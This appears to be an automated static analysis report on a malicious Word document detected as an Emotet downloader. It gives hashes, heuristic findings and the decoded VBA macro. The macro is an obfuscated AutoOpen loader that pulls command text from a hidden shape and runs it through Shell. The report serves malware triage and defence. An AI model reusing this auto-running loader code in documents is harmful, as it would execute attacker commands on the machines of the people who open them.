Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 429a2a827dbf19df…

MALICIOUS

Office (OLE)

144.4 KB Created: 2018-12-11 10:13:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 96a949b028d8c657b1697a88e437883f SHA-1: 9454e831eda6c26742d16ccd68e175d376bf17cc SHA-256: 429a2a827dbf19df3bd4e495eaf7f4bba8d582c74cf3ee32654ff47bf236663a
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6872601-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6872601-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
    .Shell(ViKGmEZCpZ, nkmYUjldzu), fWEuVQDbN)
       bMnPNbXfwrnjzc = (137290989 + Round(GRjjVILWXHwVGptibcdGBSp) * 317262285 - nwGGaCOpwSmAajTAQ + (GcBZJzJFVwOrnbnRiMEQwEk / Tan(KWGdAvKGkajTNOmIzVjP)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub autoopen()
    WOmAsEFoo
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5201 bytes
SHA-256: 412fbc2f726887bcba34141dd5d3c2c26c77b242857092edccb3d372e15301ea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
149 of 182 identifiers look randomly generated (e.g. 'EaLahtVvLakTLwjSzWrkBEGb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ahUZbiWDhkbB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
WOmAsEFoo
End Sub

Attribute VB_Name = "MEwwwNf"
Function WOmAsEFoo()
On Error Resume Next
   RWqZfRMwEzhcakQwsjq = (82877387 + Round(ZBcRkzZuwzSotlwaviwT) * 219215688 - krKKvkUpMwMzsUNIuR + (CGBPohzUVzAttvERlHaDpZ / Tan(kVctsbMnnijiOjb)))
cvPwsMCTDoCbAUOzcw = 109068024
   GXBhsaDzCTXXsziOZP = (180452570 + Round(ISCkhYjDDGESXzILAia) * 53227253 - smDSLHnaYYFqnOo + (QATuztwPFzvqTNrpTV / Tan(jzSWRsciizbkiUqjh)))
OHwpnNLLzGKjPXS = 330696173
   SDjQJuTzFAuMjYzcIIsGi = (293415983 + Round(hPoUPGUsmiCmODwLrjGG) * 235487094 - OqLzWSVoQCZazAVZEqlIIi + (mjYLwBXXltsBzIRkBWzO / Tan(MnEvqRiQUbjjLZOzHZntfnjG)))
XRnFklKTfavTQFjsGQSMVljC = 255398009
   BsFRjTGssBUNWzdIXjUzdplC = (138621561 + Round(wAJoKuiOzwQBHQuCobWvi) * 259521777 - zfwkUTLHCwwWFiE + (aiHzhsVZEEaBKjZzJtKIOJJ / Tan(opNFItpTjkwNbpZGKWjQsKwW)))
zNMYvcQZMJsfQQLPGSZ = 239702610
Set TTDwrdt = ahUZbiWDhkbB.Shapes(btGUAlrX + "rXdtHbwdTBTiz" + LbttVwlm)
   URZuzSjNYVNsHFVZnkv = (312422336 + Round(BtLIoJsUPZBXfX) * 277342310 - luFlsWtVzARkEOJDY + (SYNmJIosIvLVbifJCpq / Tan(HfzpJosHQAQwwGES)))
wlwwANzJdYjFuL = 130931372
   tsAdnssiiNZrDmn = (305499363 + Round(QClDoumSfqYPYiPf) * 183845184 - wWQUNIDEzZwJoZLWWQVD + (zNLHBTOKiJLbGoX / Tan(woczkwMTVCzEBMzJYaAJFML)))
ptSQnhhknbabsDVBArlzUK = 59031507
   tiXELzfGtijlkj = (181567594 + Round(FcIQUfGdqvKSRrouZMbabE) * 12652070 - hNlBTUAuZITJihjNYtNQ + (MpCumLYHBMBaijHuEKWvPs / Tan(XiMscOBhqlqUXjH)))
IbmYvRjDwbSUjrVXTjiPZ = 128627590
   zHAPwEhiUHCHFzwwPprbHii = (146934080 + Round(XqjJFOozoWmXDq) * 160273403 - RLzAjLSKmjbSCkTYdPY + (AYPtOHRaJaMwTApS / Tan(VQMYWXVmVzEDOtnSKZtwF)))
burALXcwBuAoIwMpiAtHs = 70444490
   uzzjMdMcPutLREtitomwHU = (50080955 + Round(tprmtMVQNOafVP) * 87438257 - CaBwBlfGUIiDXaiZr + (mWlaiDZdzDdNNdbTthTIAIK / Tan(RldSsnjAnacqhcrzZXnbc)))
uEbDjwGiuiMAIzZ = 43414361
   GEFrmIQTAKVWrwEHiFSjbmfM = (130102100 + Round(hnNzhMjjZLDKjhjSjivX) * 250630290 - LYlTmiVTZsXIbcFDdJm + (WsEUWlDICARwsGb / Tan(MOZBOGmKmaFDNjBlkiDTUR)))
AiNRYbbQUBQrOjktQFthwfAu = 142917468
Const nkmYUjldzu = 0
   PumomMGipjzdOwDfBidz = (18807864 + Round(LdlcciSIwPvdZSEsOpapibfk) * 44747783 - pZQwcUdSiIDJkbM + (hjhkXlaJUoWNOkwAVXpss / Tan(nbAHkvoEFzcBtv)))
WhEwGcowQDzKDn = 87856820
   OiWOnuNfIqzzcpkVjzrz = (208373588 + Round(zRfbJQlInHWTfjfcU) * 295487365 - TZpNLCVXdWiDfAwk + (iLkztzDsaJKBpEi / Tan(mMpIEUZotImIDqSjzatJIOZa)))
VktKWnSAEtoIbAOmvDkNuo = 236367827
   GGGoYAaDFzizLOtjwrIcBc = (25765862 + Round(MXhZzNuAEOjifc) * 129151607 - hIICSmGpZDNNTDod + (FcBTBEsCdvzhPE / Tan(XvvtTBiZQsAvzhhBZC)))
ZAStjDQzprJHKzrpXIv = 66731787
   wVPDUVvjanfDSirYkLPhAMh = (134598465 + Round(XNNfLMmDIAWBdAki) * 95307357 - CvuMjjlJztHtlovrwH + (EOatAJiUWGKizmqiZRKhh / Tan(BPswOPiGmDcAKHcCuDCLPDm)))
HHuJVamaAKNKADuPm = 106054749
ViKGmEZCpZ = TTDwrdt.TextFrame.TextRange + uXfniWFC + kbAIt + DCsiHkpw + uXiszlc + JtisaBzi + UjUtFG + tmMdY + UdqLLkd + jujYAkV
   oPwojrrCClrNFTzUSK = (183592975 + Round(EaLahtVvLakTLwjSzWrkBEGb) * 253227547 - fvRliNDOQNDXGqWwqb + (XCJnhXvSrtzTko / Tan(NZdZrWQwfSOZPBOF)))
faORWIkOnuLURuTj = 298913448
   kVUVMstDrlVFAGGf = (109984909 + Round(pozEfQAkwmQiLfWNfOQkzM) * 219203867 - EhoOzmBCXwmNPjqEUcvHnIZp + (mbsOjpdHAzzbmnKkNKNsJ / Tan(zYMQVQaIwIwfKLJorIJGOjsd)))
olWZzLzZobUBPUNjrDocH = 187638451
   vYlEFjCtQTIMhZwshQqJdwF = (15186124 + Round(OoYILYzROOmqsjsMP) * 249203977 - ruVrFHcvAHOzTjmrvdkFu + (uSKJCojwzNKUKWs / Tan(SBidzKzPTHFswiffpjACjwEn)))
CKBowYQwwLiXRJkTv = 277976974
   JEraBFPmmqSndNpbiITs = (66365375 + Round(UqoiSaAUvzNwNYMaYGWHO) * 260685925 - ZtqTNjYUpSbkBlSnpmRvSa + (AQPIkNWCTjCPpcGnlXfX / Tan(moLoFTjUwsVwMpDzanGT)))
HDwWdKizfXnCCObEU = 200988694
   tXtodSHmrvFpNLAr = (308224002 + Round(razpiJvXoZjBuauwjDluiQmz) * 36325036 - rLHplPzURoMEtjtFihC + (BfuPiwGATboCkESjQwnTBZ / Tan(FlcKBBYmEuPZMQs)))
oJzBqAKTpRJpfuin = 184317169
   FsdhSWjKuBaSfRQiosN = (294297625 + Round(rSZZAlVAotYlMGIuNTTW) * 312283386 - GCHjtzpcLcuuOZDHSlNK + (HBhSLHjbYtWjNLW / Tan(QsYKMiwqSsirFBiIl)))
wBaQhpGAmiYKANhqBsp = 339740075
   mHbaikOrPnUzFVrBGJit = (176718547 + Round(aSYfmnmjSOQLTdqVDZuO) * 50991449 - ipLUtAQcJiEIjJB + (wbFjUFhuCNLlGJwMWVoiTRul / Tan(qFhGKwhTDaTJYkYIR)))
fpfWzjslKVSfjhTTi = 992281
   BiGujirYsbEiGXWuNJoZHjvS = (283380210 + Round(jrHwfUzQzHNqwuFLXnLfX) * 289753115 - QwCMmrSnoDzwzQ + (vkkqZOhWKtUwLHGLJnrrzcHL / Tan(fUYmwwFvbsbujSlibrS)))
vGfisqKIYwTcZStuI = 236336602
   JznfaFiBCcQwXHK = (305569113 + Round(CpsOSjwiauwzWwiR) * 252999361 - YkmLqQuEjcqvJwiWdpNu + (NoAALjCjfhfkbmKZrwcTOAW / Tan(ilCRATsErpKvlKijsYDuLK)))
JYzmrladNSNWaikfMoasm = 181545205
OBkOiQcVF = Array(Wlosd, opuImzW, ZwVOYqa, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(ViKGmEZCpZ, nkmYUjldzu), fWEuVQDbN)
   bMnPNbXfwrnjzc = (137290989 + Round(GRjjVILWXHwVGptibcdGBSp) * 317262285 - nwGGaCOpwSmAajTAQ + (GcBZJzJFVwOrnbnRiMEQwEk / Tan(KWGdAvKGkajTNOmIzVjP)))
EiLNJwGvAvBsWPmrfEa = 264394272
End Function